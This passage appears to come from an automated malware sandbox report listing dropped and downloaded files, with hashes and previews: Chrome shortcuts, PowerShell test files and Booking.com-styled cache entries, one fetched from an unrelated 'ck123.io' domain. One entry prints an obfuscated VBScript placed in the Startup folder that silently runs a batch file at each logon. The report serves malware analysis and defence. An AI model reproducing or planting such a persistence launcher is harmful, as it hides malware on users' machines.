Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ur0wabf2.3pv.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_y0bp0oqa.utv.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Nov 2 12:00:04 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9648487793465352
Encrypted:	false
SSDEEP:	48:8xod68Tagn/HYZidAKZdA19ehwiZUklqehSy+3:8OnQr1y
MD5:	218F7CEDBCDD93E75D9EF54760DBD80D
SHA1:	D18F2ED637CA9CEB5C5ECE6047BF4872D13459B0
SHA-256:	B3F9270D5EBE7120D25CCAE33CB0D74B94316FDDCE4C864FFC6DBB84A086DEE4
SHA-512:	AAFA80249FC8229DD28049D86A59B47D1362C16D55DC63DBCC2A430A4C6442899538C3DE05223BFE5ACCAD2122107EF7BA1481AC2865352314FB2F6D6A3BD2FB
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....E."'-..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IbY.h....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VbY.h....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VbY.h....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VbY.h..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VbY.h...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............. J.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Nov 2 12:00:04 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9809845974942433
Encrypted:	false
SSDEEP:	48:8Vd68Tagn/HYZidAKZdA1weh/iZUkAQkqehly+2:8DnQZ9Q0y
MD5:	DD5259FF20AFC73BD5A8C320A2C2A079
SHA1:	AD1A717C0914CEF801CD32655393FC626D86782E
SHA-256:	91A9548FCB63D9239D0954343CBF033761D60C02C4184EA356531A6E972362FF
SHA-512:	76D99F17706A332187B57A30508465E83C5C1635B57C8B7BC486FF7A2C9BAD9186C3C5332361DBF4567E7BA1592DCD037671E442382236EB8F285A31E24C71BE
Malicious:	false
Preview:	L..................F.@.. ...$+.,....PQ."'-..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IbY.h....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VbY.h....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VbY.h....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VbY.h..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VbY.h...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............. J.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	3.9938951896761323
Encrypted:	false
SSDEEP:	48:8xod68TagnsHYZidAKZdA14tseh7sFiZUkmgqeh7svy+BX:8xMn7pnhy
MD5:	1CF88E0189BA703BF135A67FB0A79708
SHA1:	1565AB78B51828AA29373DF00C86E0A1E2E4B897
SHA-256:	C952CB6F401F53D9A35CBCF744CBC2241F91ADFEC6AD8B6B9D1CFDE02AAA52F7
SHA-512:	3F155B78A5DD9152FE90B80B3C353A7116D6F7E637DC03F6F3010DE198F79C2A5612F504AA07386CFC2179E0CB5BA6DDCED84E7059B20780CE09F3925295C5ED
Malicious:	false
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IbY.h....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VbY.h....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VbY.h....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VbY.h..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............. J.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Nov 2 12:00:04 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9784483998354028
Encrypted:	false
SSDEEP:	48:8bd68Tagn/HYZidAKZdA1vehDiZUkwqehZy+R:81nQ6ny
MD5:	F3B15C3195005AD8F6B5E98373BB9875
SHA1:	ACDD1DF3E91A5E717035B2D8FE33EEF48562DC9A
SHA-256:	8C00B94F00D87B1AFE6B5A7F5F5C9EE8B0BE3751411E3BDDF220BB2D9EE7030D
SHA-512:	4E0178B5E93FF584925A485371C40B4A4A745C315584D07D78AA143734174C5144D2AD127C7234C4A4FBC17C9E764B7A1DA3851F8CED7BB49494090DE4184998
Malicious:	false
Preview:	L..................F.@.. ...$+.,....UU."'-..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IbY.h....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VbY.h....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VbY.h....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VbY.h..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VbY.h...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............. J.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Nov 2 12:00:04 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9696614285085574
Encrypted:	false
SSDEEP:	48:8X+d68Tagn/HYZidAKZdA1hehBiZUk1W1qehry+C:8GnQ69Ly
MD5:	1BBF961B6E613E755DB0BB3A534F8D9A
SHA1:	9737E55E00EE0EA20BCF51967BFEA335F551D2F0
SHA-256:	65FB90A82EC8FD747C1B3927A510D5D169B082D207D5E1BB6E03936738090A41
SHA-512:	CB278873294D8605BD31F054E1F9E2FFD347481BDA15BB561A657AA322E1279DC819EC318D80993D26589A27DB50C3E2D00BF54775816D9B222556382A121983
Malicious:	false
Preview:	L..................F.@.. ...$+.,......"'-..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IbY.h....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VbY.h....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VbY.h....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VbY.h..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VbY.h...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............. J.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Nov 2 12:00:04 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.9811369064620687
Encrypted:	false
SSDEEP:	48:8Od68Tagn/HYZidAKZdA1duT+ehOuTbbiZUk5OjqehOuTbhy+yT+:8GnQET/TbxWOvTbhy7T
MD5:	ED50A9F3DD56BA3A245A83773666DE94
SHA1:	C3D9564999B6397EE886416BE41FCC0FB399E7D6
SHA-256:	CBA957EC451914F8B5BA282774AD771A05CFD6C418EF8FA988AC78C79E58F160
SHA-512:	C3BC3DB49BE66B497EE6DDA176701DD7F983E9D72CD338F8E8FD3D37E39053FBBBB6F7DC2B9B6C49130A47DB8F3FEF0041DE48EF76219AF9A845EAD418E5BBC1
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....B."'-..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IbY.h....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VbY.h....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VbY.h....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VbY.h..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VbY.h...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............. J.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Desktop.ini.vbs

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	258
Entropy (8bit):	5.047741785240635
Encrypted:	false
SSDEEP:	6:z9dA9mbVhPLHmwoZ9dA9Xg+TXkvbOKVaHxKTL9+/uH59TXokE:z9u6VhDHwZ9uXzTCLMKn9XH59T4n
MD5:	7F5C4C3F7B7683A4AC2C1CCFB3C7C237
SHA1:	EF722FCF6B1A554D3F93DD4BAF5B022F4CB6582C
SHA-256:	AB664EC706919BD7AAA887B817480B8D253E653E4715D52E46C19992583244D7
SHA-512:	D0803E365B04B03C8882EF06641AF28C3D6DCB6017D5A40AC3DB99D69A4F068B2989D65181E2FAF6118F78719066F1669DA3FF564F4501679D4DEC09195FC092
Malicious:	true
Preview:	MicrosoftDocumentPDF = ("WScript.Shell")..Set AdobeReaderDCPDF = CreateObject(MicrosoftDocumentPDF )..Microsoft2024 = "tron.b"..VasoAmareloDesconfiado = ":\Users\Pu"..AdobeReaderDCPDF.run """C"+VasoAmareloDesconfiado+"blic\1"+Microsoft2024+"at"" ", 0, true..

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Chrome Cache Entry: 158

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65454)
Category:	dropped
Size (bytes):	490977
Entropy (8bit):	5.743848256563416
Encrypted:	false
SSDEEP:	12288:9+fVnJBJXCcZ2x3A5OJf0yj2qkV/v/ZF/E:kfVnJBJXCcZ2x3A5I842J/3fE
MD5:	18BCF08AA92A78490F082FD6E040FB46
SHA1:	B3337E5A94CFD3DEC5659449617015B518A41865
SHA-256:	FB9A3791B68B0693889A76C666CEAE106944D46385666FDB1F4F865EFC1D610F
SHA-512:	24533977631D14DCB96408123BA1A140023011D6EDA159B301D989C9754FAD97DD6241B361A48BE8D5E771C6D1BCC29B26CF4281946058444E26C21A9EBFDDB3
Malicious:	false
Preview:	/! For license information please see 629_b3ab60a933ee60003b06.js.LICENSE.txt /.(self.webpackChunkbookings_web_accounts_portal_workspaces=self.webpackChunkbookings_web_accounts_portal_workspaces\|\|[]).push([[629],{67214:function(e,t,n){"use strict";var r=n(96540);t.A=function(){return r.createElement("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},r.createElement("path",{d:"m14.662 23.038.012.007c2.46 1.566 5.71 1.21 7.792-.873l.774-.774a2.596 2.596 0 0 0 0-3.669l-3.26-3.26a2.596 2.596 0 0 0-3.67 0 1.093 1.093 0 0 1-1.546.002l-.001-.001-5.219-5.22a1.096 1.096 0 0 1 0-1.548 2.593 2.593 0 0 0 .002-3.666q0-.002-.002-.003L6.284.77a2.596 2.596 0 0 0-3.669 0l-.774.774A6.285 6.285 0 0 0 .982 9.36L1 9.386a50.7 50.7 0 0 0 13.62 13.625zm.798-1.27A49.2 49.2 0 0 1 2.244 8.55l-.005-.008a4.78 4.78 0 0 1 .662-5.938l.774-.774a1.096 1.096 0 0 1 1.549 0l3.26 3.264v.002a1.09 1.09 0 0 1 0 1.545 2.596 2.596 0 0 0 0 3.67l5.218 5.22.002.001a2.593 2.593 0 0 0 3.667-.002 1.096 1.096 0 0 1 1.548

Chrome Cache Entry: 159

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	123
Entropy (8bit):	5.6029360015139655
Encrypted:	false
SSDEEP:	3:YPdmZVzODFzWsHn2PDE8Wht5KZBXUB6Sb:YlmZVzO1jWPYt52Rw
MD5:	C0B2421E6825744336A365D231A962CC
SHA1:	C4022ADAE1C259BDF8677AE2B0EF58456FB30F8F
SHA-256:	84C2406D7FF43B36BD554D28C70D0589D1722488255E714C0833E7E9E1EC9569
SHA-512:	7B53E2AF1D335985F63B1F98392514EAFB48A30F3C12743A81AE3068FE3B8826D019FBE3BBD432E5804297B88500FF18CB9798310E9A1C899F008D48927B0B9D
Malicious:	false
URL:	https://booking.ck123.io/raphael_cs
Preview:	{"j88":"ZmZqautpmz3OVkfJkFa5jtI_M8LlFNZ3OV3hYFp6Ff4kVlt89EAS0JKsZnwN5e99KWQnGnCIY3Qzs8jNKKlmJbeHMhxxbFnPkP9-A_Xvh3X-8rDC"}.

Chrome Cache Entry: 160

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	65497
Entropy (8bit):	5.4323525103402766
Encrypted:	false
SSDEEP:	1536:gHMKIgYCYJ28C/JC4CmaHid47nG9uSlYRa5m7Tf7B:gMFX28CBC4CZoYA5S7B
MD5:	21A3BC7BEB959B528DBF92CDB0790420
SHA1:	B38E158BB0CC6569618AF9A628CB65C214E00804
SHA-256:	5DEABAB9CB76F3693AF2FD55FE3564E36F7032CB9178797350EDD0240DE5A0C9
SHA-512:	08B8AC696DC4FAC5A2F4C1325A732D869016C94E840A762A37E3D2C62F005DCDC8F137CFB2ED9403030B6A17664767E936D7DBBA6BCDA71F79253A64A3CC5DBE
Malicious:	false
Preview:	{"DomainData":{"pccloseButtonType":"Icon","pclifeSpanYr":"Year","pclifeSpanYrs":"Years","pclifeSpanSecs":"A few seconds","pclifeSpanWk":"Week","pclifeSpanWks":"Weeks","pccontinueWithoutAcceptText":"Continue without Accepting","MainText":"Manage cookie settings","MainInfoText":"<p>Select which cookies you.d like to accept or decline on this site. You can choose to enable and/or disable the settings for each cookie category at any time.</p>\n<p>You can find more detailed information on cookie use and descriptions in our <a href=\"https://www.booking.com/content/privacy.html\" target=\"_blank\">Privacy & Cookie Statement</a>.</p>","AboutText":"","AboutCookiesText":"Your cookie settings","ConfirmText":"Accept all","AllowAllText":"Save Settings","CookiesUsedText":"Cookies used","CookiesDescText":"Description","AboutLink":"","ActiveText":"Active","AlwaysActiveText":"Always Active","AlwaysInactiveText":"Always Inactive","PCShowAlwaysActiveToggle":true,"AlertNoticeText":"<p>On this website,

Chrome Cache Entry: 161

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 1, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3493440438682995
Encrypted:	false
SSDEEP:	3:yionv//thPltXlfMLts0NyWn/NG8bp:6v/lhP/ZMRHNyWn/NG8bp
MD5:	1B6D2DE2867A3E11063BA25AA1CD4209
SHA1:	BD20B0E089F31F35CBA4D0FA7277E73AA74D944C
SHA-256:	95518CBEC0D55A574A9C8EF72A2A7D62AC0D40A4DE5DFE67A76A7D214DC8B743
SHA-512:	D30AC99B9140393CB2EA8EB09F0C69F6107CA5940DDF208B5EC1DD6D5ABDAB37FC60A892AA397579DA75B450965ADE6D37EE84C55550B42DD86F7AA26D99AB88
Malicious:	false
Preview:	.PNG........IHDR.............."......sRGB.........IDAT..c`.......c*......IEND.B`.

Chrome Cache Entry: 162

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1197
Entropy (8bit):	5.250746419165476
Encrypted:	false
SSDEEP:	24:2dYwahJhWDCLf3fbeVZmFy6yCXCWX9JVLNpwtbMIhU7C06Fa5QcPm:cyJhbf3fbOKy6yCdtJWWFL6FSQ/
MD5:	E8209D74AD093F151954A3820C12E5D8
SHA1:	12FBF39039F0182026ABAF8B0A22E75C9BB316F7
SHA-256:	C80B9838465A2C5AA19E06C25631CD22D81DD8C76563875EBFB4D35304DFBA47
SHA-512:	4DC04BF54E06A26D78C6D71EAA392059B21EA8A01BF6C6B1EB808F9A01758C18DB18A28A9D74A841B3D5F2249787890944EC94EE0A6D4B2F99042138534800F2
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>. Lovingly exported by Jess Stubenbord for Booking.com in Amsterdam 16-03-2023 -->.<svg version="1.1" id="bdot-favicon" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px".. viewBox="0 0 192 192" style="enable-background:new 0 0 192 192;" xml:space="preserve">.<style type="text/css">...squircle{fill:#003B95;}...bdot{fill:#FFFFFF;}.</style>.<path class="squircle" d="M37.8,0h116.5C175.1,0,192,16.9,192,37.8v116.5c0,20.9-16.9,37.8-37.8,37.8H37.8C16.9,192,0,175.1,0,154.2V37.8..C0,16.9,16.9,0,37.8,0z"/>.<g id="bdot-group">..<path class="bdot" d="M144.2,143.8c6.7,0,12.1-5.5,12.1-12.2c0-6.7-5.4-12.2-12.1-12.2c-6.7,0-12.1,5.4-12.1,12.2...C132.1,138.3,137.6,143.8,144.2,143.8z"/>..<path class="bdot" d="M106.7,91.9l-3.1-1.7l2.7-2.3c3.2-2.7,8.4-8.8,8.4-19.3c0-16.1-12.5-26.5-31.8-26.5H60.9h-2.5...c-5.7,0.2-10.3,4.9-10.4,10.6V144h35.4c21.5,0,35.4-11.7,35.4-29.8C118.7,104.4,114.2,96.1,106.7,91.9z M67.6,66c0-4.7,2-7,6.4

Chrome Cache Entry: 163

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	66
Entropy (8bit):	3.9721077567347134
Encrypted:	false
SSDEEP:	3:YGKeMfQ2pHWiR8HVjROE9HSxmQqyRHfHyY:YGKed2pHDKcElSDPyY
MD5:	A20F61BBF661147FA65EC1ABF4093AED
SHA1:	C7306A9A3F8224E2E564FD170242E4B26BBA7047
SHA-256:	EFA3DA3BC784514C792213E4B3C842CF4DA752C0EC3EF14F4592A6A849DBEFCA
SHA-512:	1BD4A45DC90A18265C78720955D80FCAC6A3656C23BBC0C480078D9407ACF205399FBDD22942242642D20EC73759DF5613620BFC27084C71AF448CC2F36D55F6
Malicious:	false
URL:	https://geolocation.onetrust.com/cookieconsentpub/v1/geo/location
Preview:	{"country":"US","state":"TX","stateName":"Texas","continent":"NA"}

Chrome Cache Entry: 164

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (57657), with no line terminators
Category:	downloaded
Size (bytes):	57657
Entropy (8bit):	5.552369927281395
Encrypted:	false
SSDEEP:	768:HJgupHoAlMCqykM08c2G+zOZiIATO6LoyI5kWIvkKIZkSIEkzskvI:HJgupHzuCqykM08c2G+zOZiIATO6LoEa
MD5:	4CFB9C72F58604193C36DF52D6186DA9
SHA1:	A1D4AEAEF1B488FAAE3DCADEEC8BB5B11D96605A
SHA-256:	D7E5334EEAC9F460FC5D9BC52FF8C323D3CE72A83EFB4F6A027C4A0CCA48B29E
SHA-512:	E804EF099E273C91CF7906021E2A02226F1DF94A3DC6634E9649C71038FE425337FC2A1225C58DE2111C24E6E963B5942A1E8118CA94A43FEA59F7DED3376912
Malicious:	false
URL:	https://cf.bstatic.com/psb/accountsportal/assets/704_9a0ec8d2f80e7d346616.css
Preview:	.uNnBK1MZfpZP4zOLNBdw{display:inline-block;vertical-align:middle}.XtThYShjPyzHb9jJ1Z0A{display:block}.jZT8XFG2FDJu9hQW6y7a{opacity:0;pointer-events:none;transition:var(--bui_timing-deliberate) var(--bui_easing-slow-out);transition-property:opacity,transform,visibility;visibility:hidden;z-index:var(--bui_z_index_4)}.jZT8XFG2FDJu9hQW6y7a .CyFjoyZmmDsLN1yrwrTB{display:inline-block;pointer-events:all;vertical-align:top}.jZT8XFG2FDJu9hQW6y7a.N2dODfBwm4hnKfLWl4jq,.jZT8XFG2FDJu9hQW6y7a.bMW0mBKkitIcnvUTt3iQ,.jZT8XFG2FDJu9hQW6y7a.fRr4isf2UuQorRH8Vf0u{transform:translateY(calc(var(--bui_spacing_4x)-1))}.jZT8XFG2FDJu9hQW6y7a.N2dODfBwm4hnKfLWl4jq.iZsHXB8BddjrUI8C7euh,.jZT8XFG2FDJu9hQW6y7a.bMW0mBKkitIcnvUTt3iQ.iZsHXB8BddjrUI8C7euh,.jZT8XFG2FDJu9hQW6y7a.fRr4isf2UuQorRH8Vf0u.iZsHXB8BddjrUI8C7euh{transform:translateY(calc(var(--bui_spacing_2x)-1))}.jZT8XFG2FDJu9hQW6y7a.Wk6ntM0xvW2rZCisL1YQ,.jZT8XFG2FDJu9hQW6y7a.gu2MuvghThAOq6Rie3DK,.jZT8XFG2FDJu9hQW6y7a.vHhZ73vSdghyZ_t7KCpB,.jZT8XFG2FDJu9hQW6y7a.wN9

Chrome Cache Entry: 165

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65454)
Category:	downloaded
Size (bytes):	490977
Entropy (8bit):	5.743848256563416
Encrypted:	false
SSDEEP:	12288:9+fVnJBJXCcZ2x3A5OJf0yj2qkV/v/ZF/E:kfVnJBJXCcZ2x3A5I842J/3fE
MD5:	18BCF08AA92A78490F082FD6E040FB46
SHA1:	B3337E5A94CFD3DEC5659449617015B518A41865
